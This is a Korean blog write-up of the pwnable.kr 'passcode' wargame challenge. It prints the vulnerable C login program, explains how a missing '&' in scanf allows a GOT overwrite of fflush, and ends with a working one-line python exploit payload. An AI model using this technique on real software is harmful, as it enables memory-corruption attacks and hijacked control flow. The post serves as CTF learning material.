728x90
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); #########4
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); ########5
printf("checking...\n"); ########5
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : "); ##########2
scanf("%100s", name);
printf("Welcome %s!\n", name);########3
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n"); #######1
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
읽어보니깐 scanf에서 &가 없어서 passcode 1, 2를 주소로 인식한다. 즉 입력한 주소값으로 이동시킬 수 있다.
그리고 name을 입력받을땐 배열이므로 &가 없는게 맞는듯..
got/plt를 이용하여서 풀거다.
name변수와 passcode1변수의 거리가 112-16 = 96인데 name에서 100개를 입력받으므로 마지막 8바이트는 passcode1에 들어갈 것이다.
passcode1에 fflush함수의 got값을 넣어주면 scanf오류때문에 해당 주소에 overwrite할 수 있다.
fflush의 got는 0x804a004,
그러면 우리가 원하는 주소인
cat flag를 넣어주면 된다.
또한 scanf에서 %d로 받기 때문에 마지막 주소는 10진수로 바꿔줘야 한다.
(python -c 'print "\x90"*96+"\x04\xa0\x04\x08"+"134514147"') | ./passcode
Sorry mom.. I got confused about scanf usage :(
728x90
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] cmd1 (0) | 2020.10.10 |
---|---|
[pwnable.kr] random (0) | 2020.10.09 |
[pwnable.kr] mistake (0) | 2020.10.03 |
[pwnable.kr] lotto (0) | 2020.09.23 |
[pwnable.kr] flag (0) | 2020.09.23 |